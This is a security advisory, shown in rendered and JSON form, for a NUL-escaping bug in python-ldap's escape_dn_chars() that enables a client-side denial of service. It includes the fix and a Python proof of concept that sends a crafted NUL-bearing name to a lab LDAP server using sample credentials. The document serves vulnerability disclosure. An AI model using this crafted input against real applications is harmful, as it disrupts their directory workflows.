ghsa-p34h-wq7j-h5v6
Vulnerability from github
Summary
ldap.dn.escape_dn_chars()
escapes \x00
incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00
. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.
Details
Affected function: ldap.dn.escape_dn_chars(s)
File: Lib/ldap/dn.py
Buggy behavior: For NUL, the function does:
s = s.replace('\000', '\\\000') # backslash + literal NUL
This produces Python strings which, when passed to python-ldap APIs (e.g., add_s
, modify_s
, rename_s
, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O.
With correct RFC-4514 encoding (\00
), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.
Why it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.
Standards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.
Minimal fix: Escape NUL as hex:
s = s.replace('\x00', r'\00')
PoC
Prereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.
```import ldap from ldap.dn import escape_dn_chars, str2dn
l = ldap.initialize("ldap://10.0.1.11") # your lab DC/LDAP l.protocol_version = 3 l.set_option(ldap.OPT_REFERRALS, 0) l.simple_bind_s(r"DSEC\dani.aga", "PassAa1")
--- Attacker-controlled value contains NUL ---
cn = "bad\0name" escaped_cn = escape_dn_chars(cn) dn = f"CN={escaped_cn},OU=Users,DC=dsec,DC=local" attrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]
print("=== BUGGY DN (contains literal NUL) ===") print("escaped_cn repr:", repr(escaped_cn)) print("dn repr:", repr(dn)) print("contains NUL?:", "\x00" in dn, "at index:", dn.find("\x00"))
print("=> add_s(buggy DN): expected client-side failure (no server contact)") try: l.add_s(dn, attrs) print("add_s(buggy): succeeded (unexpected)") except Exception as e: print("add_s(buggy):", type(e).name, e) # ValueError: embedded null character
--- Correct hex escape demonstrates the client proceeds to the server ---
safe_dn = dn.replace("\x00", r"\00") # RFC 4514-compliant print("\n=== HEX-ESCAPED DN (\00) ===") print("safe_dn repr:", repr(safe_dn)) print("=> sanity parse:", str2dn(safe_dn)) # parses locally
print("=> add_s(safe DN): reaches server (AD will likely reject with 34)") try: l.add_s(safe_dn, attrs) print("add_s(safe): success (unlikely without required attrs/rights)") except ldap.LDAPError as e: print("add_s(safe):", e.class.name, e) # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN) ```
Observed result (example):
add_s(buggy): ValueError embedded null character
← client-side DoS
add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME)
← request reached server; rejection due to server policy, not client bug
Impact
Type: Denial of Service (client-side).
Who is impacted: Any application that uses ldap.dn.escape_dn_chars() to build DNs from (partially) untrusted input—e.g., user creation/rename tools
, sync/ETL jobs
, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with \x00
reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "python-ldap" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "3.4.5" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-61912" ], "database_specific": { "cwe_ids": [ "CWE-116", "CWE-170" ], "github_reviewed": true, "github_reviewed_at": "2025-10-10T22:53:25Z", "nvd_published_at": null, "severity": "MODERATE" }, "details": "### Summary\n\n\n`ldap.dn.escape_dn_chars()` escapes `\\x00` incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form `\\00`. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.\n\n\n\n### Details\n\n\n\nAffected function: `ldap.dn.escape_dn_chars(s)`\n\nFile: Lib/ldap/dn.py\n\nBuggy behavior:\nFor NUL, the function does:\n\n`s = s.replace(\u0027\\000\u0027, \u0027\\\\\\000\u0027) # backslash + literal NUL`\n\nThis produces Python strings which, when passed to python-ldap APIs (e.g., `add_s`, `modify_s`, r`ename_s`, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O.\nWith correct RFC-4514 encoding (`\\00`), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.\n\nWhy it matters: Projects follow the docs which state this function \u201cshould be used when building LDAP DN strings from arbitrary input.\u201d The function\u2019s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.\n\nStandards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.\n\nMinimal fix: Escape NUL as hex:\n\n`s = s.replace(\u0027\\x00\u0027, r\u0027\\00\u0027)`\n\n\n\n### PoC\n\nPrereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.\n\n```import ldap\nfrom ldap.dn import escape_dn_chars, str2dn\n\nl = ldap.initialize(\"ldap://10.0.1.11\") # your lab DC/LDAP\nl.protocol_version = 3\nl.set_option(ldap.OPT_REFERRALS, 0)\nl.simple_bind_s(r\"DSEC\\dani.aga\", \"PassAa1\") \n\n# --- Attacker-controlled value contains NUL ---\ncn = \"bad\\0name\"\nescaped_cn = escape_dn_chars(cn)\ndn = f\"CN={escaped_cn},OU=Users,DC=dsec,DC=local\"\nattrs = [(\u0027objectClass\u0027, [b\u0027user\u0027]), (\u0027sAMAccountName\u0027, [b\u0027badsam\u0027])]\n\nprint(\"=== BUGGY DN (contains literal NUL) ===\")\nprint(\"escaped_cn repr:\", repr(escaped_cn))\nprint(\"dn repr:\", repr(dn))\nprint(\"contains NUL?:\", \"\\x00\" in dn, \"at index:\", dn.find(\"\\x00\"))\n\nprint(\"=\u003e add_s(buggy DN): expected client-side failure (no server contact)\")\ntry:\n l.add_s(dn, attrs)\n print(\"add_s(buggy): succeeded (unexpected)\")\nexcept Exception as e:\n print(\"add_s(buggy):\", type(e).__name__, e) # ValueError: embedded null character\n\n# --- Correct hex escape demonstrates the client proceeds to the server ---\nsafe_dn = dn.replace(\"\\x00\", r\"\\00\") # RFC 4514-compliant\nprint(\"\\n=== HEX-ESCAPED DN (\\\\00) ===\")\nprint(\"safe_dn repr:\", repr(safe_dn))\nprint(\"=\u003e sanity parse:\", str2dn(safe_dn)) # parses locally\n\nprint(\"=\u003e add_s(safe DN): reaches server (AD will likely reject with 34)\")\ntry:\n l.add_s(safe_dn, attrs)\n print(\"add_s(safe): success (unlikely without required attrs/rights)\")\nexcept ldap.LDAPError as e:\n print(\"add_s(safe):\", e.__class__.__name__, e) # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)\n```\n\nObserved result (example):\n\n`add_s(buggy): ValueError embedded null character` \u2190 client-side DoS\n\n`add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME)` \u2190 request reached server; rejection due to server policy, not client bug\n\n\n### Impact\n\nType: Denial of Service (client-side).\n\nWho is impacted: Any application that uses ldap.dn.escape_dn_chars() to build DNs from (partially) untrusted input\u2014e.g., user `creation/rename tools`, `sync/ETL jobs`, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with `\\x00` reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.", "id": "GHSA-p34h-wq7j-h5v6", "modified": "2025-10-10T22:53:25Z", "published": "2025-10-10T22:53:25Z", "references": [ { "type": "WEB", "url": "https://github.com/python-ldap/python-ldap/security/advisories/GHSA-p34h-wq7j-h5v6" }, { "type": "WEB", "url": "https://github.com/python-ldap/python-ldap/commit/6ea80326a34ee6093219628d7690bced50c49a3f" }, { "type": "PACKAGE", "url": "https://github.com/python-ldap/python-ldap" }, { "type": "WEB", "url": "https://github.com/python-ldap/python-ldap/releases/tag/python-ldap-3.4.5" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P", "type": "CVSS_V4" } ], "summary": "python-ldap is Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.